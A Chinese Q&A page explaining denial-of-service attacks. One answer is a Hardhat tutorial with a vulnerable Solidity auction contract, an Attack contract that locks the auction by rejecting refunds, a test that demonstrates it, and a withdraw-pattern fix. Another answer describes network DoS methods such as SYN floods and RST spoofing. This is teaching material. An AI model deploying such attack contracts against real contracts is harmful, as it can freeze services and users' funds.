什么是Dos攻击?
4 个回答
拒绝服务(DOS)攻击是一种旨在使网络、网站或服务失灵、关闭或中断的攻击。本质上,它意味着攻击者以某种方式阻止普通用户访问网络、网站或服务,从而拒绝他们的服务。这是一个非常常见的攻击,我们在web2中也都知道,但今天我们将尝试模仿对智能合约的拒绝服务攻击
加油
智能合约中的 DOS 攻击
会发生什么?
将有两个智能合约 - Good.sol
和Attack.sol
。Good.sol
将被用来运行一个样本拍卖,它将有一个功能,当前用户可以通过向Good.sol
发送比前一个赢家发送的ETH更高的金额来成为当前拍卖的赢家。赢家被替换后,旧的赢家将被送回他最初发送给合约的钱。
Attack.sol
的攻击方式是,在成为当前拍卖的赢家后,即使试图获胜的地址愿意投入更多的ETH,它也不允许其他任何人取代它。因此,Attack.sol
将使Game.sol
受到DOS攻击,因为在它成为赢家后,它将拒绝任何其他地址成为赢家的能力。
建造
让我们构建一个示例,您可以在其中体验攻击是如何发生的。
- • 要设置一个Hardhat项目,请打开终端,在一个新的文件夹中执行这些命令
npm init --yes
npm install --save-dev hardhat
- • 如果你不是在mac上,请做这个额外的步骤,也安装这些库 :)
npm install --save-dev @nomiclabs/hardhat-waffle ethereum-waffle chai @nomiclabs/hardhat-ethers ethers
- • 在你安装Hardhat的同一目录下运行。
npx hardhat
- • 选择
Create a basic sample project
- • 对已指定的
Hardhat Project root
按回车键 - • 如果你想添加一个
.gitignore
,请按回车键。 - • 按回车键
Do you want to install this sample project's dependencies with npm (@nomiclabs/hardhat-waffle ethereum-waffle chai @nomiclabs/hardhat-ethers ethers)?
现在你有一个准备好的hardhat项目了!
让我们创建拍卖合同,命名为Good.sol
,代码如下。
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
contract Good {
address public currentWinner;
uint public currentAuctionPrice;
constructor() {
currentWinner = msg.sender;
}
function setCurrentAuctionPrice() public payable {
require(msg.value > currentAuctionPrice, "Need to pay more than the currentAuctionPrice");
(bool sent, ) = currentWinner.call{value: currentAuctionPrice}("");
if (sent) {
currentAuctionPrice = msg.value;
currentWinner = msg.sender;
}
}
}
这是一个相当基本的合同,它存储了最后一个最高出价人的地址,以及他们出价的价值。任何人都可以调用setCurrentAuctionPrice
并发送比currentAuctionPrice
更多的ETH,这将首先尝试将他们的ETH送回给最后的出价人,然后将交易调用者设置为新的最高出价人,并提供他们的ETH值。
现在,在contracts
目录下创建一个名为Attack.sol
的合同,并编写以下几行代码
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "./Good.sol";
contract Attack {
Good good;
constructor(address _good) {
good = Good(_good);
}
function attack() public payable {
good.setCurrentAuctionPrice{value: msg.value}();
}
}
这个合约有一个叫做attack()
的函数,它只是调用Good
合约的setCurrentAuctionPrice
。但是,请注意,这个合约没有一个可以接收ETH的fallback()
函数。稍后会有更多这方面的内容。
让我们创建一个攻击,使 Good
合约变得无法使用。在test
文件夹下创建一个名为attack.js
的新文件,并在其中添加以下几行代码
const { expect } = require("chai");
const { BigNumber } = require("ethers");
const { ethers, waffle } = require("hardhat");
describe("Attack", function () {
it("After being declared the winner, Attack.sol should not allow anyone else to become the winner", async function () {
// Deploy the good contract
const goodContract = await ethers.getContractFactory("Good");
const _goodContract = await goodContract.deploy();
await _goodContract.deployed();
console.log("Good Contract's Address:", _goodContract.address);
// Deploy the Attack contract
const attackContract = await ethers.getContractFactory("Attack");
const _attackContract = await attackContract.deploy(_goodContract.address);
await _attackContract.deployed();
console.log("Attack Contract's Address", _attackContract.address);
// Now lets attack the good contract
// Get two addresses
const [_, addr1, addr2] = await ethers.getSigners();
// Initially let addr1 become the current winner of the aution
let tx = await _goodContract.connect(addr1).setCurrentAuctionPrice({
value: ethers.utils.parseEther("1"),
});
await tx.wait();
// Start the attack and make Attack.sol the current winner of the auction
tx = await _attackContract.attack({
value: ethers.utils.parseEther("3.0"),
});
await tx.wait();
// Now lets trying making addr2 the current winner of the auction
tx = await _goodContract.connect(addr2).setCurrentAuctionPrice({
value: ethers.utils.parseEther("4"),
});
await tx.wait();
// Now lets check if the current winner is still attack contract
expect(await _goodContract.currentWinner()).to.equal(
_attackContract.address
);
});
});
请注意Attack.sol
是如何将Good.sol
引入DOS攻击的。首先addr1
通过调用Good.sol
的setCurrentAuctionPrice
成为当前赢家,然后Attack.sol
通过攻击函数发送比addr1
更多的ETH成为当前赢家。现在,当addr2
试图成为新的赢家时,它将无法做到,因为Good.sol
合约中的检查(if (sent))
验证了只有当ETH被送回给上一个当前赢家时,当前赢家才会被改变。
由于Attack.sol
没有接受ETH付款所需的fallback
函数,sent
总是false
,因此当前赢家永远不会被更新,addr2
也永远不会成为当前赢家。
要运行测试,在你的终端上指向本级别的根目录,执行以下命令
npx hardhat test
当测试通过后,你会发现Good.sol
现在受到了DOS攻击,因为在Attack.sol
成为当前的赢家后,在其他地址可以成为当前赢家。
预防
- • 你可以为以前的赢家创建一个单独的
withdraw
功能。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
contract Good {
address public currentWinner;
uint public currentAuctionPrice;
mapping(address => uint) public balances;
constructor() {
currentWinner = msg.sender;
}
function setCurrentAuctionPrice() public payable {
require(msg.value > currentAuctionPrice, "Need to pay more than the currentAuctionPrice");
balances[currentWinner] += currentAuctionPrice;
currentAuctionPrice = msg.value;
currentWinner = msg.sender;
}
function withdraw() public {
require(msg.sender != currentWinner, "Current winner cannot withdraw");
uint amount = balances[msg.sender];
balances[msg.sender] = 0;
(bool sent, ) = msg.sender.call{value: amount}("");
require(sent, "Failed to send Ether");
}
}
希望你喜欢这篇文章❤️,继续吧。
参考
- • Solidity by example[1]
引用链接
[1]
Solidity by example: https://solidity-by-example.org/
DoS:是Denial of Service的简称,即拒绝服务,不是DOS操作系统,造成DoS的攻击行为被称为DoS攻击,其目的是使计算机或网络无法提供正常的服务。最常见的DoS攻击有计算机网络带宽攻击和连通性攻击。
事实上DOS的攻击方式有很多种,比如下面的常见的:
1. SYN FLOOD
利用服务器的连接缓冲区(Backlog Queue),利用特殊的程序,设置TCP的Header,向服务器端不断地成倍发送只有SYN标志的TCP连接请求。当服务器接收的时候,都认为是没有建立起来的连接请求,于是为这些请求建立会话,排到缓冲区队列中。
如果SYN请求超过了服务器能容纳的限度,缓冲区队列满,那么服务器就不再接收新的请求了。其他合法用户的连接都被拒绝掉。可以持续SYN请求发送,直到缓冲区中都是自己的只有SYN标记的请求。
2. IP欺骗
DoS攻击这种攻击利用RST位来实现。假设现在有一个合法用户(1.1.1.1)已经同服务器建立了正常的连接,攻击者构造攻击的TCP数据,伪装自己的IP为1.1.1.1,并向服务器发送一个带有RST位的TCP数据段。服务器接收到这样的数据后,认为从1.1.1.1发送的连接有错误,就会清空缓冲区中建立好的连接。这时,如果合法用户1.1.1.1再发送合法数据,服务器就已经没有这样的连接了,该用户就必须从新开始建立连接。攻击时,伪造大量的IP地址,向目标发送RST数据,使服务器不对合法用户服务。
3. 带宽DOS攻击
如果连接带宽足够大而服务器又不是很大,可以发送请求,来消耗服务器的缓冲区消耗服务器的带宽。这种攻击就是人多力量大了,配合上SYN一起实施DOS,威力巨大。不过是初级DOS攻击。
4. 自身消耗的DOS攻击
这是一种老式的攻击手法。说老式,是因为老式的系统有这样的自身BUG。比如Win95 (winsock v1), Cisco IOS v.10.x, 和其他过时的系统。这种DOS攻击就是把请求客户端IP和端口弄成主机的IP端口相同,发送给主机。使得主机给自己发送TCP请求和连接。这种主机的漏洞会很快把资源消耗光。直接导致当机。这中伪装对一些身份认证系统还是威胁巨大的。
上面这些实施DOS攻击的手段最主要的就是构造需要的TCP数据,充分利用TCP协议。这些攻击方法都是建立在TCP基础上的。还有其他的DOS攻击手段。
5. 塞满服务器的硬盘
通常,如果服务器可以没有限制地执行写操作,那么都能成为塞满硬盘造成DOS攻击的途径,比如:
发送垃圾邮件。一般公司的服务器可能把邮件服务器和WEB服务器都放在一起。破坏者可以发送大量的垃圾邮件,这些邮件可能都塞在一个邮件队列中或者就是坏邮件队列中,直到邮箱被撑破或者把硬盘塞满。
让日志记录满。入侵者可以构造大量的错误信息发送出来,服务器记录这些错误,可能就造成日志文件非常庞大,甚至会塞满硬盘。同时会让管理员痛苦地面对大量的日志,甚至就不能发现入侵者真正的入侵途径。